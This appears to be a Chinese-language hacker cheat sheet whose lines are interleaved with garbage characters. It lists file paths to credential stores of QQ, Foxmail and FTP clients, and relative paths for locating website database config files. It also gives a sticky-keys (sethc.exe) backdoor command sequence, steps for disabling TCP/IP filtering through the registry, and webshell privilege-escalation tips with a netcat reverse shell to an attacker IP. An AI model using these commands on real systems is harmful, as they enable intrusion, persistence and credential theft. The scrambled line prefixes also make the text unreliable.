; _% E" ]! D) a! ^" |3 @7 ~c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
/ ^9 h5 C# d" R6 f4 H# Nc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
6 \4 b7 n( [4 S. [" t, f7 ec:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
. a) Z. k7 J9 \4 N: b, V+ VC:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
4 C$ s, M0 l0 N/ T. E" V4 M" \c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
+ Y3 [( A' m2 H' m" [c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
) P6 c( s$ b% L9 _6 O6 sc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
' P8 O( T( q/ o8 T% m  hc:\Program Files\tencent\QQGAME\readme.txt
" L, E) o* ?+ y1 D0 ^7 c8 xC:\Program Files\StormII\Storm.exe

7 R* L0 k4 d3 o8 g3.网站相对路径:

/config.php
0 D6 }$ b+ t) [' G" k1 U) w../../config.php
8 u' j% E/ k0 S' H* t7 \( W1 Z( m% o../config.php
' L! q, r* U! F7 n6 d: o5 Q- D' E../../../config.php
/config.inc.php
8 [7 J( B3 c5 T) U./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
  o4 ~. y* ~2 i' H+ o8 B0 l) \0 m../../conn.php
../conn.php
; _5 n1 A# L& C/ b& N& p../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
) s1 Q: z& g+ K) t) T../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
../config/config.php
( J# E3 P3 u) x, U; E+ Y" c6 `../../../config/config.php
/config/config.inc.php
2 y# D3 k  Z# D, ], X* j8 R./config/config.inc.php
* U  _5 N* g2 a& J* B0 @../../config/config.inc.php
5 b) E9 `! Z/ I7 U2 n6 u2 z* P. ]+ j../config/config.inc.php
../../../config/config.inc.php
1 Q5 Z4 ]# z* E! c/config/conn.php
./config/conn.php
../../config/conn.php
../config/conn.php
7 G6 c5 U% {: ^+ t0 Y+ [( l../../../config/conn.php
6 {& m2 l" K1 v1 I/config/conn.asp
8 M* `( F8 X; V1 _./config/conn.asp
../../config/conn.asp
5 |9 N7 ?9 P) x+ i# Q$ e../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
9 D8 \! ^" I. b9 E5 p9 N6 Q5 H../../config/config.inc.php
../config/config.inc.php
5 W  r; R1 p9 J" q2 S2 K/ W../../../config/config.inc.php
/data/config.php
../../data/config.php
& p  D+ Y% z/ u$ ]1 d../data/config.php
../../../data/config.php
% }9 P8 ?+ M  P. y& l# ?/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
6 R7 l+ h* o# _1 ^$ T  \9 b../data/config.inc.php
../../../data/config.inc.php
2 U9 e5 I+ c# v2 Y( c2 u4 O, J4 k/data/conn.php
./data/conn.php
6 f/ q& [; K! U$ _) w../../data/conn.php
../data/conn.php
../../../data/conn.php
! h" F- D& C. E" F! U5 p$ ?/data/conn.asp
5 y0 n: F& C. b: {% V$ d./data/conn.asp
7 _: W$ S4 r5 r9 s4 ^../../data/conn.asp
../data/conn.asp
# D2 m& R5 ^4 S  T* n6 X& E) D% x" y../../../data/conn.asp
1 \, m8 s5 N; S2 [7 h! C7 O$ @/data/config.inc.php
: b9 ?% w6 u  n! v./data/config.inc.php
8 Y/ e5 Z. b8 N8 k% }../../data/config.inc.php
% {3 U! a: x- V- Q../data/config.inc.php
../../../data/config.inc.php
/include/config.php
7 A( ~" c5 A+ @: J6 ?! O8 P../../include/config.php
../include/config.php
, o5 Z& ]9 }9 d  a, f# c3 ]../../../include/config.php
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
# g" a5 i9 g- y$ t../../../include/config.inc.php
/include/conn.php
" H4 W1 L: M6 c- n5 ^/ @0 o1 P./include/conn.php
../../include/conn.php
% F! j1 |9 H6 R: F../include/conn.php
../../../include/conn.php
/include/conn.asp
./include/conn.asp
../../include/conn.asp
0 X; }. u( l2 L/ j* E../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
6 x( B7 L( e/ l- v3 ?' l./include/config.inc.php
../../include/config.inc.php
! q3 Q% H& A- N' M) v6 k../include/config.inc.php
../../../include/config.inc.php
9 h! A6 T2 Q# ^/inc/config.php
" P9 _4 i, p8 Q* T9 N) @( S% ^../../inc/config.php
9 D6 h  g8 Z' {8 s7 A" U: G5 p) L../inc/config.php
2 Y3 Z6 E4 P' L0 `../../../inc/config.php
4 O, v6 O' [: B/inc/config.inc.php
' T. g3 `0 h( m2 p  u2 f6 E% Z1 O, O./inc/config.inc.php
2 B5 m+ D* J. J! V../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
0 {1 D; E# d) [3 S../../inc/conn.php
../inc/conn.php
& l; r: k" t2 Y( u& J7 f../../../inc/conn.php
/inc/conn.asp
( Z! t: f( P4 @./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
9 i' D( Y4 f- [9 w) `) D+ e../../../inc/conn.asp
/inc/config.inc.php
! s+ _' X5 y6 I: h./inc/config.inc.php
../../inc/config.inc.php
5 u4 b& o$ s6 v/ s../inc/config.inc.php
% [; b- F6 v% F8 S../../../inc/config.inc.php
+ J& x" }% z2 f4 F, _/index.php
+ R7 J/ d5 D3 r) P! }./index.php
../../index.php
../index.php
' ]- d% U8 G+ n, i6 i$ v../../../index.php
2 M( s' [6 c" C4 |( q2 v( ?/index.asp
./index.asp
../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
7 K- U* L- s9 A　attrib c:\windows\system32\sethc.exe -h -r -s
/ A' H3 d4 o+ H4 ?) F
- f2 Y% q* Z8 R: b( @　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe
+ ]6 R3 D  A0 O5 I; ^
6 f; N1 S9 [3 M3 n, m　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
" b0 [# n0 G% \$ }' |% ^
　　attrib c:\windows\system32\sethc.exe +h +r +s
; m+ c, V, O7 G2 b2 c9 j( g) y
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
  h( f0 I* w" M1 MTCP/IP筛选在注册表里有三处，分别是：
! @$ Y$ m7 y- P; v: [  Z( _HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

' j1 O9 D% v( s; O# X5 K分别用
' W: g$ ]* O+ l$ \# Q, ?" y- Bregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
6 s( {" a( S6 cregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
  h+ t" S% }5 a; L' }: Yregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

: P; [/ m+ ?5 B8 ]3 [4 Z7 E( n然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
( b* O/ F5 g' O1 M
2 K9 S4 x# K! T0 m: ]1 i+ o再将以上三个文件分别用
' M+ d5 ?0 B+ Q3 A9 r0 Zregedit -s D:\a.reg
/ C: ]4 P7 w3 Z8 Fregedit -s D:\b.reg
regedit -s D:\c.reg
2 o1 [4 X3 P2 A/ J) _# @导入注册表即可

webshell提权小技巧
% ?1 X  V$ o# ?8 \& lcmd路径:
; n8 J" e& O9 o* Ic:\windows\temp\cmd.exe
nc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

5 o, `5 Z0 H9 u, `3 c: a9 Y而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
! @" w' w, c7 F+ `命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
; }# s* @. i. J7 K, A却能成功。。
! u, w7 i, _7 c( E. G3 ~7 Q  w$ s这个不是重点
; e1 D& f9 _+ \8 a# Q' t! C6 `我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功